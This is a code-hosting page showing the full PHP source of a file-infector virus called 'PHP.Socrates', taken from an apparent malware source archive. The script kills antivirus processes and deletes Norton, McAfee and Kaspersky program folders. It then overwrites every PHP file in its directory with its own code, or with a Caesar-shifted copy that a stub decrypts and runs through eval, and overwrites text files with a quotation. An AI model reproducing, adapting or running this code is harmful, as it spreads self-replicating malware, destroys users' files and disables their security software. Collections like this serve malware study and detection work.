MalwareSourceCode/Other/Virus.PHP.Socrate.a

175 lines
5.5 KiB
Plaintext
Raw Normal View History

2020-10-10 03:05:41 +00:00
<?php
echo("PHP.Socrates by synged flesh"."<br>"."The only true wisdom is in knowing you know nothing.");
$decrypt=
"function SocratesDecrypt(\$string,\$key)\r\n"
2020-10-10 03:05:41 +00:00
."{ \r\n"
2020-10-10 03:05:41 +00:00
." \$codez=''; \r\n"
2020-10-10 03:05:41 +00:00
." for(\$i=0; \$i<strlen(\$string); \$i++)\r\n"
2020-10-10 03:05:41 +00:00
." { \r\n"
2020-10-10 03:05:41 +00:00
." \$value=ord(\$string[\$i]); \r\n"
2020-10-10 03:05:41 +00:00
." \$valuez=\$value+\$key; \r\n"
2020-10-10 03:05:41 +00:00
." \$codez.=chr(\$valuez); \r\n"
2020-10-10 03:05:41 +00:00
." } \r\n"
." return \$codez; \r\n"
2020-10-10 03:05:41 +00:00
." } \r\n"
2020-10-10 03:05:41 +00:00
."\$filez = \$_SERVER[\"SCRIPT_NAME\"];\r\n"
2020-10-10 03:05:41 +00:00
."\$break = Explode('/', \$filez); \r\n"
2020-10-10 03:05:41 +00:00
."\$pfile = \$break[count(\$break) - 1];\r\n"
."\$c = fopen(\$pfile,'rb');\r\n"
2020-10-10 03:05:41 +00:00
."\$d = fread(\$c,filesize(\$pfile));\r\n"
."fclose(\$c);\r\n"
2020-10-10 03:05:41 +00:00
."\$next=strlen(\$d)-693;\r\n"
."\$virus=substr(\$d,687,\$next);\r\n"
2020-10-10 03:05:41 +00:00
."\$vr=SocratesDecrypt(\$virus,'1');\r\n"
2020-10-10 03:05:41 +00:00
."eval(\$vr);";
2020-10-10 03:05:41 +00:00
function SocratesCrypt($string,$key)
{
2020-10-10 03:05:41 +00:00
$codez="";
2020-10-10 03:05:41 +00:00
for($i=0; $i<strlen($string); $i++)
2020-10-10 03:05:41 +00:00
{
2020-10-10 03:05:41 +00:00
$value=ord($string[$i]);
2020-10-10 03:05:41 +00:00
$valuez=$value-$key;
$codez.=chr($valuez);
2020-10-10 03:05:41 +00:00
}
2020-10-10 03:05:41 +00:00
return $codez;
2020-10-10 03:05:41 +00:00
}
2020-10-10 03:05:41 +00:00
if(is_dir("C:\Program Files\Norton*"))
{
2020-10-10 03:05:41 +00:00
exec("taskkill /f /t /im nod32.exe");
rmdir("C:\Program Files\Norton*");
2020-10-10 03:05:41 +00:00
}
2020-10-10 03:05:41 +00:00
if(is_dir("C:\Program Files\McAfee*"))
{
2020-10-10 03:05:41 +00:00
exec("taskkill /f /t /im Mcshield.exe");
rmdir("C:\Program Files\McAfee*");
}
2020-10-10 03:05:41 +00:00
if(is_dir("C:\Program Files\Kaspersky*"))
{
2020-10-10 03:05:41 +00:00
exec("taskkill /f /t /im KAV.exe");
rmdir("C:\Program Files\Kaspersky*");
2020-10-10 03:05:41 +00:00
}
2020-10-10 03:05:41 +00:00
$filez = $_SERVER["SCRIPT_NAME"];
$break = Explode('/', $filez);
$pfile = $break[count($break) - 1];
$c = fopen($pfile,'rb');
$d = fread($c,filesize($pfile));
2020-10-10 03:05:41 +00:00
fclose($c);
2020-10-10 03:05:41 +00:00
$nextsize=strlen($d)-4;
$virus=(substr($d,7,$nextsize));
$dir=opendir('*.*');
while (($file = readdir($dir)) !== false)
2020-10-10 03:05:41 +00:00
{
2020-10-10 03:05:41 +00:00
if (strstr($file,'.php'))
2020-10-10 03:05:41 +00:00
{
2020-10-10 03:05:41 +00:00
$f = fopen($file,'rb');
2020-10-10 03:05:41 +00:00
$contents = fread($f, filesize($file));
2020-10-10 03:05:41 +00:00
if (!strstr($contents, 'Socrates'))
2020-10-10 03:05:41 +00:00
{
2020-10-10 03:05:41 +00:00
if(!file_exists("Socrates.php")) {
fclose($f);
$g = fopen($file,'w');
fwrite($g,$d);
2020-10-10 03:05:41 +00:00
fclose($g);
2020-10-10 03:05:41 +00:00
}
if(file_exists("Socrates.php"))
{
fclose($f);
$g = fopen($file,'w');
fwrite($g,'<?php'.chr(13).chr(10).$decrypt.'/*'.SocratesCrypt($virus,'1').'*/'.'?>');
2020-10-10 03:05:41 +00:00
fclose($g);
2020-10-10 03:05:41 +00:00
}
}
2020-10-10 03:05:41 +00:00
}
2020-10-10 03:05:41 +00:00
if (strstr($file,'.txt'))
2020-10-10 03:05:41 +00:00
{
2020-10-10 03:05:41 +00:00
$f = fopen($file,'w');
2020-10-10 03:05:41 +00:00
fwrite($f,"Let him that would move the world, first move himself.");
2020-10-10 03:05:41 +00:00
}
2020-10-10 03:05:41 +00:00
}?>
2020-10-10 03:05:41 +00:00